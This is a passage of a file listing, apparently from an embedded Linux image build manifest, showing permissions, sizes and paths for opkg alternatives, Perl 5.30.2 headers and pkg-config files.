+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/hwclock
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/id
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/ifconfig
+-rw-r--r-- root root 36 ./usr/lib/opkg/alternatives/ifdown
+-rw-r--r-- root root 34 ./usr/lib/opkg/alternatives/ifup
+-rw-r--r-- root root 34 ./usr/lib/opkg/alternatives/init
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/insmod
+-rw-r--r-- root root 48 ./usr/lib/opkg/alternatives/install
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/ionice
+-rw-r--r-- root root 54 ./usr/lib/opkg/alternatives/ip
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/join
+-rw-r--r-- root root 102 ./usr/lib/opkg/alternatives/kill
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/killall
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/klogd
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/last
+-rw-r--r-- root root 72 ./usr/lib/opkg/alternatives/lastb
+-rw-r--r-- root root 66 ./usr/lib/opkg/alternatives/lbracket
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/ld
+-rw-r--r-- root root 54 ./usr/lib/opkg/alternatives/ld.bfd
+-rw-r--r-- root root 56 ./usr/lib/opkg/alternatives/ld.gold
+-rw-r--r-- root root 37 ./usr/lib/opkg/alternatives/less
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/link
+-rw-r--r-- root root 53 ./usr/lib/opkg/alternatives/ln
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/loadfont
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/loadkmap
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/logger
+-rw-r--r-- root root 54 ./usr/lib/opkg/alternatives/login
+-rw-r--r-- root root 71 ./usr/lib/opkg/alternatives/logname
+-rw-r--r-- root root 37 ./usr/lib/opkg/alternatives/logread
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/losetup
+-rw-r--r-- root root 53 ./usr/lib/opkg/alternatives/ls
+-rw-r--r-- root root 54 ./usr/lib/opkg/alternatives/lsmod
+-rw-r--r-- root root 60 ./usr/lib/opkg/alternatives/lzcat
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/lzma
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/md5sum
+-rw-r--r-- root root 92 ./usr/lib/opkg/alternatives/mesg
+-rw-r--r-- root root 41 ./usr/lib/opkg/alternatives/microcom
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/mkdir
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/mke2fs
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/mkfifo
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/mkfs.ext2
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/mknod
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/mkswap
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/mktemp
+-rw-r--r-- root root 36 ./usr/lib/opkg/alternatives/modinfo
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/modprobe
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/more
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/mount
+-rw-r--r-- root root 97 ./usr/lib/opkg/alternatives/mountpoint
+-rw-r--r-- root root 53 ./usr/lib/opkg/alternatives/mv
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/nc
+-rw-r--r-- root root 36 ./usr/lib/opkg/alternatives/netstat
+-rw-r--r-- root root 43 ./usr/lib/opkg/alternatives/newgrp
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/nice
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/nl
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/nm
+-rw-r--r-- root root 67 ./usr/lib/opkg/alternatives/nohup
+-rw-r--r-- root root 67 ./usr/lib/opkg/alternatives/nologin
+-rw-r--r-- root root 67 ./usr/lib/opkg/alternatives/nproc
+-rw-r--r-- root root 48 ./usr/lib/opkg/alternatives/nsenter
+-rw-r--r-- root root 41 ./usr/lib/opkg/alternatives/nslookup
+-rw-r--r-- root root 56 ./usr/lib/opkg/alternatives/objcopy
+-rw-r--r-- root root 56 ./usr/lib/opkg/alternatives/objdump
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/od
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/openvt
+-rw-r--r-- root root 64 ./usr/lib/opkg/alternatives/passwd
+-rw-r--r-- root root 44 ./usr/lib/opkg/alternatives/paste
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/patch
+-rw-r--r-- root root 48 ./usr/lib/opkg/alternatives/pathchk
+-rw-r--r-- root root 41 ./usr/lib/opkg/alternatives/pgrep
+-rw-r--r-- root root 80 ./usr/lib/opkg/alternatives/pidof
+-rw-r--r-- root root 31 ./usr/lib/opkg/alternatives/ping
+-rw-r--r-- root root 32 ./usr/lib/opkg/alternatives/ping6
+-rw-r--r-- root root 44 ./usr/lib/opkg/alternatives/pinky
+-rw-r--r-- root root 71 ./usr/lib/opkg/alternatives/pivot_root
+-rw-r--r-- root root 41 ./usr/lib/opkg/alternatives/pkill
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/pmap
+-rw-r--r-- root root 43 ./usr/lib/opkg/alternatives/poweroff
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/pr
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/printenv
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/printf
+-rw-r--r-- root root 50 ./usr/lib/opkg/alternatives/ps
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/ptx
+-rw-r--r-- root root 55 ./usr/lib/opkg/alternatives/pwd
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/pwdx
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/python3-config
+-rw-r--r-- root root 54 ./usr/lib/opkg/alternatives/ranlib
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/rdate
+-rw-r--r-- root root 56 ./usr/lib/opkg/alternatives/readelf
+-rw-r--r-- root root 73 ./usr/lib/opkg/alternatives/readlink
+-rw-r--r-- root root 58 ./usr/lib/opkg/alternatives/readprofile
+-rw-r--r-- root root 73 ./usr/lib/opkg/alternatives/realpath
+-rw-r--r-- root root 62 ./usr/lib/opkg/alternatives/reboot
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/renice
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/reset
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/resize
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/rev
+-rw-r--r-- root root 71 ./usr/lib/opkg/alternatives/rfkill
+-rw-r--r-- root root 53 ./usr/lib/opkg/alternatives/rm
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/rmdir
+-rw-r--r-- root root 55 ./usr/lib/opkg/alternatives/rmmod
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/route
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/runcon
+-rw-r--r-- root root 43 ./usr/lib/opkg/alternatives/runlevel
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/run-parts
+-rw-r--r-- root root 49 ./usr/lib/opkg/alternatives/sed
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/seq
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/setconsole
+-rw-r--r-- root root 45 ./usr/lib/opkg/alternatives/setfattr
+-rw-r--r-- root root 48 ./usr/lib/opkg/alternatives/setpriv
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/setsid
+-rw-r--r-- root root 50 ./usr/lib/opkg/alternatives/sh
+-rw-r--r-- root root 71 ./usr/lib/opkg/alternatives/sha1sum
+-rw-r--r-- root root 52 ./usr/lib/opkg/alternatives/sha224sum
+-rw-r--r-- root root 75 ./usr/lib/opkg/alternatives/sha256sum
+-rw-r--r-- root root 52 ./usr/lib/opkg/alternatives/sha384sum
+-rw-r--r-- root root 52 ./usr/lib/opkg/alternatives/sha512sum
+-rw-r--r-- root root 44 ./usr/lib/opkg/alternatives/shred
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/shuf
+-rw-r--r-- root root 43 ./usr/lib/opkg/alternatives/shutdown
+-rw-r--r-- root root 50 ./usr/lib/opkg/alternatives/size
+-rw-r--r-- root root 41 ./usr/lib/opkg/alternatives/skill
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/sleep
+-rw-r--r-- root root 41 ./usr/lib/opkg/alternatives/snice
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/sort
+-rw-r--r-- root root 44 ./usr/lib/opkg/alternatives/split
+-rw-r--r-- root root 47 ./usr/lib/opkg/alternatives/start-stop-daemon
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/stat
+-rw-r--r-- root root 79 ./usr/lib/opkg/alternatives/strings
+-rw-r--r-- root root 52 ./usr/lib/opkg/alternatives/strip
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/stty
+-rw-r--r-- root root 48 ./usr/lib/opkg/alternatives/su
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/sulogin
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/sum
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/swapoff
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/swapon
+-rw-r--r-- root root 73 ./usr/lib/opkg/alternatives/switch_root
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/sync
+-rw-r--r-- root root 60 ./usr/lib/opkg/alternatives/sysctl
+-rw-r--r-- root root 37 ./usr/lib/opkg/alternatives/syslogd
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/tac
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/tail
+-rw-r--r-- root root 32 ./usr/lib/opkg/alternatives/tar
+-rw-r--r-- root root 48 ./usr/lib/opkg/alternatives/taskset
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/tee
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/telnet
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/test
+-rw-r--r-- root root 37 ./usr/lib/opkg/alternatives/tftp
+-rw-r--r-- root root 37 ./usr/lib/opkg/alternatives/time
+-rw-r--r-- root root 48 ./usr/lib/opkg/alternatives/timeout
+-rw-r--r-- root root 60 ./usr/lib/opkg/alternatives/top
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/touch
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/tr
+-rw-r--r-- root root 41 ./usr/lib/opkg/alternatives/traceroute
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/true
+-rw-r--r-- root root 50 ./usr/lib/opkg/alternatives/truncate
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/ts
+-rw-r--r-- root root 44 ./usr/lib/opkg/alternatives/tsort
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/tty
+-rw-r--r-- root root 36 ./usr/lib/opkg/alternatives/udhcpc
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/udhcpd
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/umount
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/uname
+-rw-r--r-- root root 50 ./usr/lib/opkg/alternatives/unexpand
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/uniq
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/unlink
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/unlzma
+-rw-r--r-- root root 48 ./usr/lib/opkg/alternatives/unshare
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/unxz
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/unzip
+-rw-r--r-- root root 96 ./usr/lib/opkg/alternatives/uptime
+-rw-r--r-- root root 67 ./usr/lib/opkg/alternatives/users
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/usleep
+-rw-r--r-- root root 81 ./usr/lib/opkg/alternatives/utmpdump
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/vdir
+-rw-r--r-- root root 31 ./usr/lib/opkg/alternatives/vi
+-rw-r--r-- root root 33 ./usr/lib/opkg/alternatives/vigr
+-rw-r--r-- root root 33 ./usr/lib/opkg/alternatives/vipw
+-rw-r--r-- root root 36 ./usr/lib/opkg/alternatives/vlock
+-rw-r--r-- root root 33 ./usr/lib/opkg/alternatives/w
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/wall
+-rw-r--r-- root root 56 ./usr/lib/opkg/alternatives/watch
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/wc
+-rw-r--r-- root root 37 ./usr/lib/opkg/alternatives/wget
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/which
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/who
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/whoami
+-rw-r--r-- root root 67 ./usr/lib/opkg/alternatives/xargs
+-rw-r--r-- root root 31 ./usr/lib/opkg/alternatives/xz
+-rw-r--r-- root root 60 ./usr/lib/opkg/alternatives/xzcat
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/yes
+-rw-r--r-- root root 33 ./usr/lib/opkg/alternatives/zcat
+drwxr-xr-x root root 4096 ./usr/lib/perl5
+drwxr-xr-x root root 4096 ./usr/lib/perl5/5.30.2
+-rwxr-xr-x root root 3305 ./usr/lib/perl5/5.30.2/Config.pm
+drwxr-xr-x root root 4096 ./usr/lib/perl5/5.30.2/ExtUtils
+-r--r--r-- root root 1105 ./usr/lib/perl5/5.30.2/ExtUtils/MANIFEST.SKIP
+-rwxr-xr-x root root 11315 ./usr/lib/perl5/5.30.2/ExtUtils/typemap
+-r--r--r-- root root 5071 ./usr/lib/perl5/5.30.2/ExtUtils/xsubpp
+-r--r--r-- root root 4738 ./usr/lib/perl5/5.30.2/strict.pm
+-r--r--r-- root root 2458 ./usr/lib/perl5/5.30.2/vars.pm
+drwxr-xr-x root root 4096 ./usr/lib/perl5/5.30.2/warnings
+-r--r--r-- root root 49989 ./usr/lib/perl5/5.30.2/warnings.pm
+-r--r--r-- root root 759 ./usr/lib/perl5/5.30.2/warnings/register.pm
+drwxr-xr-x root root 4096 ./usr/lib/perl5/5.30.2/x86_64-linux
+-r--r--r-- root root 409 ./usr/lib/perl5/5.30.2/x86_64-linux/Config_git.pl
+-r--r--r-- root root 43123 ./usr/lib/perl5/5.30.2/x86_64-linux/Config_heavy.pl
+lrwxrwxrwx root root 15 ./usr/lib/perl5/5.30.2/x86_64-linux/Config_heavy-target.pl -> Config_heavy.pl
+-r--r--r-- root root 3305 ./usr/lib/perl5/5.30.2/x86_64-linux/Config.pm
+drwxr-xr-x root root 4096 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE
+-r--r--r-- root root 3294 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/av.h
+-r--r--r-- root root 850 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/bitcount.h
+-r--r--r-- root root 4114121 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/charclass_invlists.h
+-r--r--r-- root root 162839 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/config.h
+-r--r--r-- root root 40671 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/cop.h
+-r--r--r-- root root 12323 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/cv.h
+-r--r--r-- root root 5461 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/dosish.h
+-r--r--r-- root root 1861 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/dquote_inline.h
+-r--r--r-- root root 49548 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/ebcdic_tables.h
+-r--r--r-- root root 102635 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/embed.h
+-r--r--r-- root root 23467 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/embedvar.h
+-r--r--r-- root root 1652 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/EXTERN.h
+-r--r--r-- root root 3210 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/fakesdio.h
+-r--r--r-- root root 5046 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/feature.h
+-r--r--r-- root root 1463 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/form.h
+-r--r--r-- root root 357 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/git_version.h
+-r--r--r-- root root 10711 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/gv.h
+-r--r--r-- root root 126538 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/handy.h
+-r--r--r-- root root 10786 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/hv_func.h
+-r--r--r-- root root 25545 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/hv.h
+-r--r--r-- root root 2953 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/hv_macro.h
+-r--r--r-- root root 68866 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/inline.h
+-r--r--r-- root root 1309 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/INTERN.h
+-r--r--r-- root root 29425 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/intrpvar.h
+-r--r--r-- root root 2976 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/invlist_inline.h
+-r--r--r-- root root 48759 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/iperlsys.h
+-r--r--r-- root root 6587 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/keywords.h
+-r--r--r-- root root 126938 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/l1_char_class_tab.h
+lrwxrwxrwx root root 29 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/libperl.so -> ../../../../libperl.so.5.30.0
+-r--r--r-- root root 1524 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/malloc_ctl.h
+-r--r--r-- root root 952 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/metaconfig.h
+-r--r--r-- root root 5021 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/mg_data.h
+-r--r--r-- root root 3013 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/mg.h
+-r--r--r-- root root 4377 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/mg_raw.h
+-r--r--r-- root root 9562 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/mg_vtable.h
+-r--r--r-- root root 1693 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/mydtrace.h
+-r--r--r-- root root 3392 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/nostdio.h
+-r--r--r-- root root 93275 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/opcode.h
+-r--r--r-- root root 36350 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/op.h
+-r--r--r-- root root 8860 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/opnames.h
+-r--r--r-- root root 5911 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/op_reg_common.h
+-r--r--r-- root root 3276 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/overload.h
+-r--r--r-- root root 17220 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/pad.h
+-r--r--r-- root root 6993 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/parser.h
+-r--r--r-- root root 5321 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/patchlevel.h
+-r--r--r-- root root 10170 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/perlapi.h
+-r--r--r-- root root 270251 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/perl.h
+-r--r--r-- root root 6223 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/perl_inc_macro.h
+-r--r--r-- root root 9464 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/perlio.h
+-r--r--r-- root root 13761 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/perliol.h
+-r--r--r-- root root 2973 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/perl_langinfo.h
+-r--r--r-- root root 527 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/perlsdio.h
+-r--r--r-- root root 13314 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/perlvars.h
+-r--r--r-- root root 4434 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/perly.h
+-r--r--r-- root root 28969 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/pp.h
+-r--r--r-- root root 12131 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/pp_proto.h
+-r--r--r-- root root 258888 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/proto.h
+-r--r--r-- root root 78454 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/reentr.h
+-r--r--r-- root root 140155 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/regcharclass.h
+-r--r--r-- root root 48923 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/regcomp.h
+-r--r--r-- root root 36671 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/regexp.h
+-r--r--r-- root root 38053 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/regnodes.h
+-r--r--r-- root root 57294 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/sbox32_hash.h
+-r--r--r-- root root 11887 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/scope.h
+-r--r--r-- root root 10477 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/stadtx_hash.h
+-r--r--r-- root root 85432 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/sv.h
+-r--r--r-- root root 12095 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/thread.h
+-r--r--r-- root root 2048 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/time64_config.h
+-r--r--r-- root root 1588 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/time64.h
+-r--r--r-- root root 44 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/try.h
+-r--r--r-- root root 163425 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/uconfig.h
+-r--r--r-- root root 8027 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/unicode_constants.h
+-r--r--r-- root root 535594 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/uni_keywords.h
+-r--r--r-- root root 5193 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/unixish.h
+-r--r--r-- root root 47587 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/utf8.h
+-r--r--r-- root root 67051 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/utfebcdic.h
+-r--r--r-- root root 10011 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/util.h
+-r--r--r-- root root 904 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/uudmap.h
+-r--r--r-- root root 7993 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/vutil.h
+-r--r--r-- root root 8230 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/warnings.h
+-r--r--r-- root root 24399 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/XSUB.h
+-r--r--r-- root root 10541 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/zaphod32_hash.h
+-rwxr-xr-x root root 36089 ./usr/lib/perl5/config.sh
+drwxr-xr-x root root 4096 ./usr/lib/perl5/site_perl
+drwxr-xr-x root root 4096 ./usr/lib/perl5/site_perl/5.30.2
+drwxr-xr-x root root 4096 ./usr/lib/perl5/site_perl/5.30.2/x86_64-linux
+drwxr-xr-x root root 4096 ./usr/lib/pkgconfig
+-rw-r--r-- root root 155 ./usr/lib/pkgconfig/applewmproto.pc
+-rw-r--r-- root root 900 ./usr/lib/pkgconfig/bash.pc
+-rw-r--r-- root root 155 ./usr/lib/pkgconfig/bigreqsproto.pc
+-rw-r--r-- root root 191 ./usr/lib/pkgconfig/blkid.pc
+-rw-r--r-- root root 242 ./usr/lib/pkgconfig/cairo-fc.pc
+-rw-r--r-- root root 239 ./usr/lib/pkgconfig/cairo-ft.pc
+-rw-r--r-- root root 223 ./usr/lib/pkgconfig/cairo-gl.pc
+-rw-r--r-- root root 217 ./usr/lib/pkgconfig/cairo-glx.pc
+-rw-r--r-- root root 276 ./usr/lib/pkgconfig/cairo-gobject.pc
+-rw-r--r-- root root 446 ./usr/lib/pkgconfig/cairo.pc
+-rw-r--r-- root root 222 ./usr/lib/pkgconfig/cairo-pdf.pc
+-rw-r--r-- root root 219 ./usr/lib/pkgconfig/cairo-png.pc
+-rw-r--r-- root root 228 ./usr/lib/pkgconfig/cairo-ps.pc
+-rw-r--r-- root root 228 ./usr/lib/pkgconfig/cairo-script.pc
+-rw-r--r-- root root 219 ./usr/lib/pkgconfig/cairo-svg.pc
+-rw-r--r-- root root 219 ./usr/lib/pkgconfig/cairo-tee.pc
+-rw-r--r-- root root 247 ./usr/lib/pkgconfig/cairo-xcb.pc
+-rw-r--r-- root root 228 ./usr/lib/pkgconfig/cairo-xcb-shm.pc
+-rw-r--r-- root root 229 ./usr/lib/pkgconfig/cairo-xlib.pc
+-rw-r--r-- root root 256 ./usr/lib/pkgconfig/cairo-xlib-xrender.pc
+-rw-r--r-- root root 247 ./usr/lib/pkgconfig/com_err.pc
+-rw-r--r-- root root 159 ./usr/lib/pkgconfig/compositeproto.pc
+-rw-r--r-- root root 153 ./usr/lib/pkgconfig/damageproto.pc
+-rw-r--r-- root root 607 ./usr/lib/pkgconfig/dbus-1.pc
+-rw-r--r-- root root 275 ./usr/lib/pkgconfig/dbus-python.pc
+-rw-r--r-- root root 147 ./usr/lib/pkgconfig/dmxproto.pc
+-rw-r--r-- root root 147 ./usr/lib/pkgconfig/dpmsproto.pc
+-rw-r--r-- root root 147 ./usr/lib/pkgconfig/dri2proto.pc
+-rw-r--r-- root root 147 ./usr/lib/pkgconfig/dri3proto.pc
+-rw-r--r-- root root 226 ./usr/lib/pkgconfig/e2p.pc
+-rw-r--r-- root root 206 ./usr/lib/pkgconfig/expat.pc
+-rw-r--r-- root root 223 ./usr/lib/pkgconfig/ext2fs.pc
+-rw-r--r-- root root 213 ./usr/lib/pkgconfig/fdisk.pc
+-rw-r--r-- root root 149 ./usr/lib/pkgconfig/fixesproto.pc
+-rw-r--r-- root root 407 ./usr/lib/pkgconfig/fontconfig.pc
+-rw-r--r-- root root 151 ./usr/lib/pkgconfig/fontsproto.pc
+-rw-r--r-- root root 469 ./usr/lib/pkgconfig/form.pc
+-rw-r--r-- root root 454 ./usr/lib/pkgconfig/formw.pc
+-rw-r--r-- root root 310 ./usr/lib/pkgconfig/freetype2.pc
+-rw-r--r-- root root 631 ./usr/lib/pkgconfig/gio-2.0.pc
+-rw-r--r-- root root 232 ./usr/lib/pkgconfig/gio-unix-2.0.pc
+-rw-r--r-- root root 378 ./usr/lib/pkgconfig/glib-2.0.pc
+-rw-r--r-- root root 355 ./usr/lib/pkgconfig/gl.pc
+-rw-r--r-- root root 146 ./usr/lib/pkgconfig/glproto.pc
+-rw-r--r-- root root 254 ./usr/lib/pkgconfig/gmodule-2.0.pc
+-rw-r--r-- root root 254 ./usr/lib/pkgconfig/gmodule-export-2.0.pc
+-rw-r--r-- root root 273 ./usr/lib/pkgconfig/gmodule-no-export-2.0.pc
+-rw-r--r-- root root 225 ./usr/lib/pkgconfig/gmp.pc
+-rw-r--r-- root root 260 ./usr/lib/pkgconfig/gmpxx.pc
+-rw-r--r-- root root 287 ./usr/lib/pkgconfig/gobject-2.0.pc
+-rw-r--r-- root root 649 ./usr/lib/pkgconfig/gobject-introspection-1.0.pc
+-rw-r--r-- root root 612 ./usr/lib/pkgconfig/gobject-introspection-no-export-1.0.pc
+-rw-r--r-- root root 223 ./usr/lib/pkgconfig/gthread-2.0.pc
+-rw-r--r-- root root 206 ./usr/lib/pkgconfig/ice.pc
+-rw-r--r-- root root 151 ./usr/lib/pkgconfig/inputproto.pc
+-rw-r--r-- root root 145 ./usr/lib/pkgconfig/kbproto.pc
+-rw-r--r-- root root 204 ./usr/lib/pkgconfig/libacl.pc
+-rw-r--r-- root root 217 ./usr/lib/pkgconfig/libattr.pc
+-rw-r--r-- root root 208 ./usr/lib/pkgconfig/libcap-ng.pc
+-rw-r--r-- root root 209 ./usr/lib/pkgconfig/libcap.pc
+-rw-r--r-- root root 275 ./usr/lib/pkgconfig/libcrypto.pc
+lrwxrwxrwx root root 12 ./usr/lib/pkgconfig/libcrypt.pc -> libxcrypt.pc
+-rw-r--r-- root root 270 ./usr/lib/pkgconfig/libdrm_amdgpu.pc
+-rw-r--r-- root root 267 ./usr/lib/pkgconfig/libdrm_etnaviv.pc
+-rw-r--r-- root root 301 ./usr/lib/pkgconfig/libdrm_freedreno.pc
+-rw-r--r-- root root 255 ./usr/lib/pkgconfig/libdrm_intel.pc
+-rw-r--r-- root root 300 ./usr/lib/pkgconfig/libdrm_nouveau.pc
+-rw-r--r-- root root 277 ./usr/lib/pkgconfig/libdrm_omap.pc
+-rw-r--r-- root root 220 ./usr/lib/pkgconfig/libdrm.pc
+-rw-r--r-- root root 270 ./usr/lib/pkgconfig/libdrm_radeon.pc
+-rw-r--r-- root root 206 ./usr/lib/pkgconfig/libdrm_vc4.pc
